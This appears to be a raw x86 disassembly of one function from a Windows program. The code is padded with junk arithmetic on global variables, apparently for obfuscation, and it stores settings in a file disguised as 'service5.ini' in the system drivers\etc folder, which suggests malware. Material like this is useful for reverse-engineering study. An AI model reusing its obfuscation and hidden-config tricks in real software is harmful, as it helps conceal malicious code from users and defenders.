add eax, edx
mov edx, dword [0x4508d8]
imul edx, edx, 0x1a8
sub ecx, eax
add ecx, edi
lea eax, [edx + ecx - 0x15c]
push 0xffffffffffffffff
push 0x563de8
lea ecx, [ebp - 0x1138]
mov dword [0x4508e0], eax
call fcn.004059f0
mov ecx, dword [0x4508d8]
mov esi, dword [0x4508e4]
mov eax, 0xde27eb2d
imul esi, esi, 0x222
imul ecx
add edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r_____n]
sub esi, ecx
imul edx, edx, 0x24e
lea esi, [esi + edx - 0x30e]
mov byte [ebp - 4], 7
mov dword [0x4508ec], esi
mov edi, 0x5635e0
mov eax, ebx
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [edi]
jne 0x412b19
test cl, cl
je 0x412b15
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [edi + 1]
jne 0x412b19
add eax, 2
add edi, 2
test cl, cl
jne 0x412af5
xor eax, eax
jmp 0x412b1e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x412ea4
mov ecx, dword [0x4508dc]
imul esi, esi, 0x1a8
mov eax, 0x97012e03
imul ecx
mov edi, dword [0x4508e0]
add edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov esi, dword [0x4508f4]
mov eax, esi
imul eax, eax, 0x185
sub ecx, eax
sub ecx, edi
mov eax, ebx
add ecx, 0x4f2
lea edx, [eax + 1]
mov dword [0x4508d8], ecx
mov dword [ebp - 0x10d0], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x412b76
sub eax, dword [ebp - 0x10d0]
cmp eax, 0x800
jae 0x412ba0
mov edx, ebx
mov esi, 0x5635e0
mov al, byte [edx]
inc edx
mov byte [esi], al
inc esi
test al, al
jne 0x412b91
jmp 0x412c0a
mov ecx, dword [0x4508e4]
imul esi, esi, 0x30f
mov eax, 0x68fed1fd
imul edi
sub edx, edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xa8791709
imul ecx
add edx, ecx
sar edx, 8
sub edi, esi
mov ecx, edx
shr ecx, 0x1f
add edi, edx
lea edx, [ecx + edi + 0x456]
push 0x7ff
xor eax, eax
push ebx
mov ecx, 0x200
mov edi, 0x5635e0
push 0x5635e0
mov dword [0x4508e4], edx
rep stosd dword es:[edi], eax
call fcn.004252d0
mov ecx, dword [0x4508d8]
add esp, 0xc
mov edx, dword [0x4508f0]
mov eax, 0x197b05f9
imul edx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508d4]
imul edx, edx, 0x2a4
sub edx, eax
mov eax, dword [0x4508e8]
imul eax, eax, 0x1b2
add edx, eax
sub edx, ecx
sub edx, 0x163
mov eax, 0x562ce0
mov dword [0x4508f0], edx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412c52
sub eax, edx
cmp eax, 5
jbe 0x412ea4
push str.ConfigL6
push ebx
call fcn.00414b20
add esp, 8
test eax, eax
jne 0x412ea4
mov ecx, dword [str._r_____r_____n]
mov eax, 0x8c2f17d3
imul ecx
add edx, ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x4508e4]
mov eax, 0x60f25deb
imul ecx
mov ecx, dword [0x4508ec]
sar edx, 8
imul ecx, ecx, 0x1b2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508dc]
imul edx, edx, 0x1a8
sub eax, esi
sub eax, ecx
lea eax, [eax + edx - 0x30e]
push 0x132b600
mov dword [0x4508f4], eax
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 4
xor esi, esi
cmp esi, 0x64
jge 0x412d54
mov ecx, dword [0x4508e8]
mov eax, 0xa61fcc17
imul ecx
add edx, ecx
mov eax, dword [0x4508dc]
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508f4]
imul edx, edx, 0x185
sub edx, ecx
sub edx, dword [0x4508d8]
lea ecx, [edx + eax + 0xd7]
push 0x64
mov dword [str._r_____r_____n], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x562ce0
lea edx, [eax + 1]
jmp 0x412d40
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x412d40
sub eax, edx
mov dword [ebp - 0x10d0], eax
je 0x412d54
inc esi
jmp 0x412ce3
mov ecx, dword [0x4508dc]
mov esi, dword [0x4508ec]
mov eax, 0x97012e03
imul esi, esi, 0x1a8
imul ecx
add edx, ecx
mov ecx, dword [0x4508f4]
sar edx, 8
imul ecx, ecx, 0x185
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [0x4508e0]
add eax, esi
push str.C:WINDOWS_system32driversetc_service5.ini
sub eax, ecx
push 0x800
sub eax, edx
lea edx, [ebp - 0x10c4]
push edx
push 0x440e1d
push str.ConfigL5
add eax, 0x4f2
push str.GameType1
mov dword [0x4508d8], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x4508e8]
mov esi, dword [0x4508e4]
mov eax, 0x60f25deb
imul esi, esi, 0x377
imul ecx
mov ecx, dword [0x4508d8]
sar edx, 8
imul ecx, ecx, 0x1a8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508f0]
sub esi, eax
add esi, edx
lea eax, [ebp - 0x10c4]
lea edx, [ecx + esi - 0x15c]
push eax
mov dword [0x4508e0], edx
call fcn.0042486a
inc eax
push eax
lea ecx, [ebp - 0x10c4]
push 0x440ddc
push ecx
call fcn.0042478a
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea edx, [ebp - 0x10c4]
push edx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x4508d8]
mov esi, dword [0x4508e0]
mov eax, ecx
imul esi, esi, 0x30f
imul eax, eax, 0x3a7
sub esi, eax
mov eax, 0x49e28fbb
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508dc]
imul edx, edx, 0x315
sub esi, ecx
add esi, edx
mov dword [0x4508e8], esi
mov esi, dword [0x562cd8]
inc esi
push 0
mov dword [0x562cd8], esi
call fcn.0042486f
add esp, 4
mov dword [0x562cdc], eax
lea ecx, [ebp - 0x1138]
mov byte [ebp - 4], 6
call fcn.00405aa0
mov esi, dword [0x4508e8]
mov ecx, dword [0x4508d4]
mov edi, dword [0x4508f0]
mov eax, 0x197b05f9
imul ecx, ecx, 0x2a4
imul esi, esi, 0x1b2
imul edi
mov edi, dword [0x4508d8]
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, esi
sub ecx, edi
sub ecx, 0x163
push ecx
mov dword [0x4508f0], ecx
mov ecx, dword [ebp - 0x10c8]
mov eax, esp
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov dword [ebp - 0x10d0], esp
je 0x412f1b
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x562978
call fcn.00406df0
mov ecx, dword [0x4508f0]
mov eax, 0x49e28fbb
imul ecx
mov ecx, dword [0x4508e8]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x73d0e82d
imul ecx
sub edx, ecx
mov eax, dword [0x4508d4]
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4508ec]
imul edx, edx, 0x315
sub ecx, esi
mov esi, dword [str._r_____r_____n]
sub ecx, edx
mov edx, dword [ebp - 0x10c8]
add ecx, esi
lea ecx, [eax + ecx - 0x30e]
push 0
push edx
mov dword [0x4508d4], ecx
call fcn.00418020
mov ecx, dword [0x4508e8]
mov esi, dword [0x4508dc]
mov eax, 0x197b05f9
imul ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x21d814d3
imul esi
sub edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4508ec]
sub eax, edi
add esp, 8
sub eax, edx
mov edx, dword [0x4508f4]
lea eax, [eax + edx - 0x30e]
mov dword [0x4508dc], eax
mov esi, dword [0x4508e0]
mov edi, dword [0x4508f4]
mov eax, 0x68fed1fd
imul edi, edi, 0x30f
imul esi
sub edx, esi
mov esi, dword [0x4508e4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xa8791709
imul esi
add edx, esi
sar edx, 8
sub ebx, edi
mov eax, edx
shr eax, 0x1f
add ebx, edx
lea edx, [eax + ebx + 0x456]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov dword [0x4508e4], edx
mov byte [ebp - 4], 5
je 0x413049
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x4508e8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 4
je 0x413063
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x4508e8]
mov eax, dword [ebp - 0x10c8]
test eax, eax
mov byte [ebp - 4], 2
je 0x41307d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x4508e8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 1
je 0x413097
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x4508e8]
mov edi, dword [ebp - 0x10f4]
mov esi, dword [0x4508f4]
inc edi
jmp 0x411a8b
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 0
je 0x4130bd
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x4508d8]
mov ecx, dword [0x4508e4]
mov eax, 0xde27eb2d
imul ecx, ecx, 0x222
imul esi
add edx, esi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [str._r_____r_____n]
imul eax, eax, 0x24e
lea ecx, [ecx + eax - 0x30e]
mov eax, dword [ebp - 0x10ec]
mov dword [0x4508ec], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.00424061
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret